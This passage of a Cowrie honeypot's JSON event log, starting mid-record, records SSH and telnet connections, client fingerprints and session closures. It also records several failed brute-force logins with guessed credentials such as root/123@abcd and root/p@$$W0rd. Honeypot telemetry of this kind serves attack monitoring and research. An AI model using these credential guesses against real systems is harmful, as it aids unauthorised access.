istp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:26.147986Z","src_ip":"114.35.59.237","session":"f145dca778ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31146287918091,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:26.197606Z","src_ip":"161.132.53.68","session":"be43c66513c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"1","message":"login attempt [sysadmin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:27.024797Z","src_ip":"114.35.59.237","session":"f145dca778ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:28.240530Z","src_ip":"114.35.59.237","session":"f145dca778ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.013309955596924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:28.796474Z","src_ip":"161.132.53.68","session":"5da45b84373f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.84346055984497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:28.914876Z","src_ip":"161.132.53.68","session":"84149da8cecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06111717224121,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:29.682611Z","src_ip":"161.132.53.68","session":"e22df5232ff3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.61529994010925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:31.541832Z","src_ip":"161.132.53.68","session":"d1d2dcb2bdef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36804,"dst_ip":"159.203.135.109","dst_port":23,"session":"523d041d0aaa","protocol":"telnet","message":"New connection: 192.119.108.58:36804 (159.203.135.109:23) [session: 523d041d0aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:33.462588Z"}
{"eventid":"cowrie.session.closed","duration":30.862700939178467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:35.356848Z","src_ip":"104.245.105.2","session":"3a7d717b5e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":55866,"dst_ip":"10.17.0.5","dst_port":22,"session":"77cf8a4df41e","protocol":"ssh","message":"New connection: 220.119.37.141:55866 (10.17.0.5:22) [session: 77cf8a4df41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:35.403086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:35.408644Z","src_ip":"220.119.37.141","session":"77cf8a4df41e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:35.609268Z","src_ip":"220.119.37.141","session":"77cf8a4df41e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@abcd","message":"login attempt [root/123@abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:36.429674Z","src_ip":"220.119.37.141","session":"77cf8a4df41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38580,"dst_ip":"159.203.135.109","dst_port":23,"session":"20fa91e478c7","protocol":"telnet","message":"New connection: 161.132.53.68:38580 (159.203.135.109:23) [session: 20fa91e478c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:37.241702Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:37.629890Z","src_ip":"220.119.37.141","session":"77cf8a4df41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38596,"dst_ip":"159.203.135.109","dst_port":23,"session":"c29ba84490b8","protocol":"telnet","message":"New connection: 161.132.53.68:38596 (159.203.135.109:23) [session: c29ba84490b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:37.981443Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":55380,"dst_ip":"10.17.0.5","dst_port":22,"session":"baa1528c2536","protocol":"ssh","message":"New connection: 124.18.182.99:55380 (10.17.0.5:22) [session: baa1528c2536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:37.986982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:37.994808Z","src_ip":"124.18.182.99","session":"baa1528c2536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:38.172889Z","src_ip":"124.18.182.99","session":"baa1528c2536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.953296184539795,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:38.250481Z","src_ip":"104.245.105.2","session":"b70abd336298","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Aa123456.","message":"login attempt [ftpuser/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:38.905529Z","src_ip":"124.18.182.99","session":"baa1528c2536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93707537651062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:39.211666Z","src_ip":"161.132.53.68","session":"ae97e4ca72af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2015438079834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:39.393648Z","src_ip":"192.119.108.58","session":"1e1a406d2ad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.671077728271484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:39.782526Z","src_ip":"104.245.105.2","session":"ad3a7732e79f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254039764404297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:39.810858Z","src_ip":"161.132.53.68","session":"b3cfa1542e91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.453270196914673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:39.998595Z","src_ip":"161.132.53.68","session":"f1c283d11077","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:40.083806Z","src_ip":"124.18.182.99","session":"baa1528c2536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38604,"dst_ip":"159.203.135.109","dst_port":23,"session":"57f88d7e9c66","protocol":"telnet","message":"New connection: 161.132.53.68:38604 (159.203.135.109:23) [session: 57f88d7e9c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:41.249801Z"}
{"eventid":"cowrie.session.closed","duration":30.214109659194946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:44.095419Z","src_ip":"161.132.53.68","session":"e55b880bb9b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.455838441848755,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:44.927864Z","src_ip":"161.132.53.68","session":"79b10aa10130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56820821762085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:44.975663Z","src_ip":"104.245.105.2","session":"f36f1d9aeea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64230966567993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:47.414464Z","src_ip":"161.132.53.68","session":"0534efe1aee1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34992,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc5c97ce9fef","protocol":"telnet","message":"New connection: 161.132.53.68:34992 (159.203.135.109:23) [session: fc5c97ce9fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:49.537787Z"}
{"eventid":"cowrie.session.closed","duration":33.128283739089966,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:50.668009Z","src_ip":"161.132.53.68","session":"7df610b04885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36943030357361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:55.469536Z","src_ip":"161.132.53.68","session":"aba216daf970","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52762,"dst_ip":"159.203.135.109","dst_port":23,"session":"46a59190c703","protocol":"telnet","message":"New connection: 161.132.53.68:52762 (159.203.135.109:23) [session: 46a59190c703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:01.777719Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52766,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec38802d73db","protocol":"telnet","message":"New connection: 161.132.53.68:52766 (159.203.135.109:23) [session: ec38802d73db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:01.939917Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":49086,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d5567cf2ec3","protocol":"ssh","message":"New connection: 200.105.172.184:49086 (159.203.135.109:22) [session: 9d5567cf2ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:03.741199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:03.746794Z","src_ip":"200.105.172.184","session":"9d5567cf2ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:03.867943Z","src_ip":"200.105.172.184","session":"9d5567cf2ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.64261031150818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:04.105042Z","src_ip":"192.119.108.58","session":"523d041d0aaa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaAAA123","message":"login attempt [root/aaaAAA123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:04.377190Z","src_ip":"200.105.172.184","session":"9d5567cf2ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:05.501590Z","src_ip":"200.105.172.184","session":"9d5567cf2ec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":52052,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5c587d438a3","protocol":"ssh","message":"New connection: 223.17.5.126:52052 (159.203.135.109:22) [session: c5c587d438a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:06.701456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:06.713060Z","src_ip":"223.17.5.126","session":"c5c587d438a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:06.923921Z","src_ip":"223.17.5.126","session":"c5c587d438a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@$$W0rd","message":"login attempt [root/p@$$W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:07.793048Z","src_ip":"223.17.5.126","session":"c5c587d438a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.349853992462158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:08.591443Z","src_ip":"161.132.53.68","session":"20fa91e478c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:09.005572Z","src_ip":"223.17.5.126","session":"c5c587d438a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.89587903022766,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:11.877171Z","src_ip":"161.132.53.68","session":"c29ba84490b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15926003456116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:14.408956Z","src_ip":"161.132.53.68","session":"57f88d7e9c66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43484,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecb95ce81f76","protocol":"telnet","message":"New connection: 161.132.53.68:43484 (159.203.135.109:23) [session: ecb95ce81f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:15.680285Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43958,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0a4c729ab26","protocol":"telnet","message":"New connection: 161.132.53.68:43958 (159.203.135.109:23) [session: e0a4c729ab26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:19.879975Z"}
{"eventid":"cowrie.session.closed","duration":31.743161916732788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:21.280784Z","src_ip":"161.132.53.68","session":"fc5c97ce9fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":43238,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbf9f1f49c3e","protocol":"ssh","message":"New connection: 114.35.59.237:43238 (10.17.0.5:22) [session: cbf9f1f49c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:21.964958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:21.973114Z","src_ip":"114.35.59.237","session":"cbf9f1f49c3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:22.184570Z","src_ip":"114.35.59.237","session":"cbf9f1f49c3e","protocol":"ssh"}
